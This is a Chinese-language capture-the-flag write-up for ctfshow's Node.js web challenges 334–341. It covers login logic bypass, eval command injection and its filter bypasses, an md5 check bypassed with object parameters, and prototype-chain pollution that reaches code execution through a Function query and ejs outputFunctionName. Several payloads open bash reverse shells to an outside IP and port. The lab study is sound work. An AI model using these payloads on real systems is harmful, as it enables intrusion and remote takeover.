ctfshow nodejs wp

ok又是新的系列~

PS:下次一定先去google查资料,某度确实查到的资料有限...

WEB334

进去是个登录界面,给了源码,关键逻辑只有几句话:

1.var users = require('../modules/user').items; users变量是引入了user.js里面item的值,账号CTFSHOW,密码123456

2.var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};

findUser变量本质上就是一个函数(写法特殊哈),users是从user.js中引入的变量。逻辑是传入的参数name不等于CTFSHOW,users中的username等于name字母全部大写之后的值,password直接相等

那就很简单了,账号ctfshow(小写),密码123456就ok了

WEB335

看源码,传入的参数是eval,那猜测是将传入的eval参数的值在eval中执行。nodejs的eval与python中的eval比较类似,会执行语句,但是只输出表达式的值。exec不会返回执行结果,所以用execSync返回执行结果,或者exec反弹shell也是可以的

payload1:require('child_process').execSync('tac f*') (execSync执行命令)

payload2:require('child_process').spawnSync( 'tac', ['flag.txt'] ).stdout.toString()(spawnSync执行命令)
payload3:require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash'); (反弹shell)

WEB336

payload:exec应该是被过滤了,spawnSync还能用

require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()

require( 'child_process' ).spawnSync( 'cat',['fl001g.txt'] ).stdout.toString()

payload2:利用字符串拼接绕过关键字过滤

?eval=require("child_process")['exe'+'cSync']('cat fl001g.txt') (注意+号要编码)

payload3:利用读函数

?eval=require("fs").readdirSync('.') --查看当前目录(换成/.可查看根目录)

?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件

payload4:套娃,在参数内部用eval拼接整体字符串,外层的eval就可以执行命令

?eval=eval("require('child_process').exe"+"cSync('ls')")

也可以参照Y4tacker师傅的payload

在这里插入图片描述

更多绕过方式参照:nodejs代码执行绕过的一些技巧汇总-H5W3

WEB337

又是一个知识盲区...

先上源码:

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

看到md5相等,第一反应数组绕过,但是传入a[]=1&b[]=2没出flag

查阅资料发现,js与php不同:(参考:JS对象和数组的区别 (biancheng.net))

1.php数组就是数组,不能当做字符串调用;而js中几乎每一个数据类型都继承了Object类,拥有toString()方法,如果没有被重写,就返回[object type](参考:JS输出内容为[object Object] - 简书 (jianshu.com))

2.php中,无论是a[0]=1,a[1]=3...这种key为0,1,2...递增的,还是a['x']=1,a['y']=2这种自定义key的,都叫做数组array;而js中,前者叫数组,后者叫对象(Object)

两者的区别体现在toString()方法上:

ctfshow nodejs wp_第1张图片

(为什么对象外面要打括号,不能直接写成{}.toString()是因为:{}会被当成代码块而不是空对象)

那这道题的思路就很清晰了,我们只需要传入a[x]=1,b[x]=2,就可以实现a.length==b.length==undefined,同时a+flag==b+flag(key不是0,1,2类型自动变成Object)

ctfshow nodejs wp_第2张图片

接下来是传参的问题,GET参数传数组:

http://url?a[]=1 =>a参数值:a=[1](a只有一个键值对,a[0]=1)

http://url?a[x]=1 =>a参数值:a={"x":1}(a只有一个键值对,a['x']=1)

http://url?a[0]=1&a[0]=2 =>a参数值:a=[2](后面会覆盖前面)

http://url?a[0]=1&a[1]=2 =>a参数值:a=[1,2](a有两个键值对,a[0]=1,a[1]=2)

总之,key值和传入键值对的数量都是自己可以控制的

那就很简单了,payload:?a[x]=1&b[x]=2

或者另外一个payload:?a[]=1&b=1(可以考虑一下为什么这个可以)

WEB338

这道题考的是nodejs原型链污染,详细原理:nodejs原型链污染_yink12138的博客-CSDN博客

所以这道题关键代码:

ctfshow nodejs wp_第3张图片

显然secert的ctfshow属性是没有定义的,我们考虑原型链污染,污染点在copy函数,利用对user的赋值污染Object的原型对象

ctfshow nodejs wp_第4张图片

payload:

ctfshow nodejs wp_第5张图片

WEB339

这道题要求ctfshow属性是flag才能给出flag,显然不行,我们也没法引用内部flag变量,提交的都会当做字符串处理

所以只能另辟蹊径,我们可以看到,多出来了一个api.js,我们审计一下,发现有个render函数,这个render函数实际上是渲染函数,会在出现特定请求的时候执行特定操作,比如这里

ctfshow nodejs wp_第6张图片

当post方式访问/api时,会执行后面的Function(query)(query)

经过测试,query参数的值是可以直接当做语句来执行的

这里仍然有原型链污染,所以考虑污染query参数。payload:

{"username":"admin","password":"admin","__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.34.164.187/6767 0>&1\"')"}}

非预期:ejs RCE

这里可以用snyk做测试(特别是这里有package.json的时候)

ctfshow nodejs wp_第7张图片

测试出来的漏洞可以提供一些方向,我们看到有个ejs的RCE,snyk也给了POC,不过好像用不了?重新搜索,发现就用Express+lodash+ejs: 从原型链污染到RCE - evi0s' Blog里面的POC就行了

顺便说一下,snyk需要认证,我执行snyk auth的时候出了问题认证不了,说token有问题。

看了官方API文档Snyk API · Apiary,去Account general settings | Snyk这个页面找账户的key,然后执行

snyk auth

就可以认证成功

flag在login.js里面

WEB340

这道题关键代码变成了这个:

ctfshow nodejs wp_第8张图片

user中的isAdmin已经被赋值为false,merge的时候没办法覆盖,所以还是只有考虑RCE,这里是user.userinfo,所以需要向上污染两级

payload:

{"username":"admin","password":"admin","__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.34.164.187/6767 0>&1\"')"}}}

flag在login.js里面

WEB341

看了下源码,没有api.js了,那不能更改query了,所以考虑ejs的RCE,也就是WEB338里面的非预期

文章里面的payload可以打通:

{"username":"admin","password":"admin","__proto__":{"__proto__":{"outputFunctionName":"a;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"'); //"}}}

flag在根目录下

参考博客:

CTFSHOW nodejs篇_羽的博客-CSDN博客

[CTFSHOW][WEB入门]nodejs部分WP_Y4tacker的博客-CSDN博客

CTFshow---WEB入门---(nodejs)334-344 WP - Bit's Blog (xl-bit.cn)

你可能感兴趣的:(CTF修炼之路,前端)